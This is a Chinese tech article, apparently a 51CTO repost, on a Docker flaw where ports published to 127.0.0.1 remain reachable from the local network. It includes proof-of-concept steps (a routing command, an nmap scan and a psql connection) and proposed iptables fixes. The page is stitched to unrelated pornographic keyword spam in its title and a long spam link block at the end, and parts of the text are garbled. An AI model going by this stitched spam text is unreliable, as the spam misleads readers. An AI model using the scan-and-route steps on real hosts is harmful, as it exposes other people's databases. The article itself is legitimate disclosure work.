成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Docker 暴重大安全漏洞:外部網(wǎng)絡(luò)可直接訪問映射到 127.0.0.1 的本地服務(wù)

系統(tǒng) Linux
即使你通過像 -p 127.0.0.1:80:80 這樣的參數(shù)將端口暴露到回環(huán)地址,外部仍然可以訪問該服務(wù),怎么回事呢?

近日 Hacker News 上面有一個(gè)貼子[1]火了,這是一封發(fā)給 Docker 安全團(tuán)隊(duì)的郵件,主要講的是 Docker 有一個(gè)非常離譜的安全隱患。即使你通過像 ????-p 127.0.0.1:80:80???? 這樣的參數(shù)將端口暴露到回環(huán)地址,外部仍然可以訪問該服務(wù),怎么回事呢?

原因其實(shí)很簡(jiǎn)單,Docker 添加了這樣一條 Iptables 規(guī)則:

??  → iptables -nvL DOCKER
Chain DOCKER (2 references)
pkts bytes target prot opt in out source destination
0 0 ACCEPT tcp -- !docker0 docker0 0.0.0.0/0 172.17.0.2 tcp dpt:80

只要外部攻擊者通過這臺(tái)主機(jī)將流量發(fā)送到 ??172.17.0.2:80??,就會(huì)匹配這條規(guī)則并成功訪問容器中的服務(wù),127.0.0.1 并沒有什么卵用。

尷尬的是,選擇將端口映射到 127.0.0.1 的用戶基本上都是覺得這樣很安全,以至于他們不再想采取進(jìn)一步的安全措施。現(xiàn)在問題來了,映射到 127.0.0.1 不能說是非常安全吧,只能說是與安全毫不相干。。。

概念驗(yàn)證

下面通過一個(gè)例子來驗(yàn)證。

① 在 A 機(jī)器上運(yùn)行一個(gè) PostgreSQL 容器,并將端口映射到 127.0.0.1。

# IP: 192.168.0.100
?? → docker run -e POSTGRES_PASSWORD=password -p 127.0.0.1:5432:5432 postgres

② 同一個(gè)局域網(wǎng)中的 B 機(jī)器添加路由表,將所有訪問 ??172.16.0.0/12?? 的流量指向 A 機(jī)器。

# IP: 192.168.0.200
?? → ip route add 172.16.0.0/12 via 192.168.0.100

③ 在 B 機(jī)器中掃描 A 機(jī)器的端口。

??  → nmap -p5432 -Pn --open 172.16.0.0/12
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-05 15:00 CDT
Nmap scan report for 172.17.0.2
Host is up (0.00047s latency).

PORT STATE SERVICE
5432/tcp open postgresql

④ 在 B 機(jī)器中直接連接 PostgreSQL。

??  → psql -h 172.17.0.2 -U postgres
Password for user postgres:

解決方案

事實(shí)上不僅僅是 127.0.0.1,你將容器端口映射到主機(jī)的任何一個(gè)地址,外部都可以訪問到,這就離了大譜了!

郵件作者給 Docker 團(tuán)隊(duì)提出了一個(gè)解決方案,希望能優(yōu)化 Docker 的 iptables 規(guī)則:

① 首先要嚴(yán)格限制允許訪問容器端口的源地址和網(wǎng)絡(luò)接口,例如 ??docker run -p 127.0.0.1:5432:5432?? 的 iptables 規(guī)則如下:

Chain DOCKER (2 references)
pkts bytes target prot opt in out source destination
0 0 ACCEPT tcp -- !docker0 docker0 0.0.0.0/0 172.17.0.2 tcp dpt:5432

改進(jìn)后的 iptables 規(guī)則如下:

Chain DOCKER (2 references)
pkts bytes target prot opt in out source destination
0 0 ACCEPT tcp -- lo docker0 127.0.0.1/8 172.17.0.2 tcp dpt:5432

同理,如果主機(jī)的地址為 ??192.168.0.100??,掩碼為 ??24??,那么 ??docker run -p 192.168.0.100:5432:5432?? 的 iptables 規(guī)則就應(yīng)該是:

Chain DOCKER (2 references)
pkts bytes target prot opt in out source destination
0 0 ACCEPT tcp -- eth0 docker0 192.168.0.0/24 172.17.0.2 tcp dpt:5432

② 最后要修改默認(rèn)行為,如果使用 ??-p?? 參數(shù)時(shí)沒有指定任何 IP 地址,就默認(rèn)映射到 127.0.0.1。

雖然評(píng)論區(qū)也有很多人給出了添加 iptables 規(guī)則來進(jìn)行限制的方案,但這是不現(xiàn)實(shí)的,目前全世界有成千上萬的用戶在使用 ??-p?? 參數(shù)將容器端口映射到 127.0.0.1,攻擊者估計(jì)早就發(fā)現(xiàn)了這個(gè)漏洞,我們不能期望用戶自己添加 iptables 規(guī)則來限制外部訪問,最靠譜的方式還是等 Docker 官方修復(fù)這個(gè) bug 然后升級(jí)吧。

引用鏈接

[1]Hacker News 上面有一個(gè)貼子: https://news.ycombinator.com/item?id=31839936

責(zé)任編輯:龐桂玉 來源: 奇妙的Linux世界
相關(guān)推薦

2011-08-08 15:48:08

2018-01-25 15:19:42

2009-10-10 17:40:34

2013-07-31 15:44:51

2022-12-29 07:40:58

2018-05-10 08:40:15

Windows Linux 漏洞

2014-07-30 10:29:12

Android系統(tǒng)

2016-02-17 16:04:42

2014-07-30 10:18:51

Android

2025-03-05 11:06:36

2013-11-05 16:32:18

搜狗瀏覽器安全漏洞

2013-10-12 10:39:49

2014-12-24 12:34:48

2014-02-25 15:12:07

2020-07-15 10:05:47

微軟瀏覽器Windows

2015-08-28 10:45:25

2009-02-19 13:12:10

勁舞團(tuán)漏洞久游網(wǎng)

2023-04-18 14:17:31

2025-01-22 09:53:26

2021-04-09 10:23:13

大數(shù)據(jù)網(wǎng)絡(luò)安全漏洞
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

主站蜘蛛池模板: 亚洲播放一区 | 青青草免费在线视频 | 日本精品一区二区三区在线观看 | 国产精品久久久久久久久久免费看 | 日本不卡免费新一二三区 | 午夜影院黄 | 免费成年网站 | 成人国产一区二区三区精品麻豆 | 国内精品久久久久久 | 国产成人久久精品一区二区三区 | 国产精品日韩欧美一区二区三区 | 久久久久久久91 | 国产999精品久久久久久 | 久久免费看| 亚洲国产精品日韩av不卡在线 | 日韩精品在线观看视频 | 国产美女高潮 | 日韩成人| 欧美精品久久久久久久久久 | 男女羞羞免费网站 | 亚洲欧美激情四射 | 亚洲精品久久久久久久久久久 | 久久久免费电影 | 亚洲精品久久久久久久久久久久久 | 国产午夜三级一区二区三 | 精品国产乱码久久久久久影片 | 麻豆精品国产91久久久久久 | 久久亚洲一区 | 有码一区 | 精品一区二区观看 | 国产精品日韩一区二区 | 草草精品 | 国产一区2区 | 五月婷婷导航 | 在线观看av不卡 | 成人午夜精品 | 国产精品美女久久久久久久久久久 | 91精品国产综合久久久久蜜臀 | 99久久精品国产一区二区三区 | 精品欧美乱码久久久久久1区2区 | 成人在线免费电影 |